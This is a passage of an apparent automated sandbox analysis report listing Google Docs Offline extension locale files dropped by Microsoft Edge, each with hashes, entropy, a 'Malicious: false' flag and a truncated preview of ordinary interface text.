Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
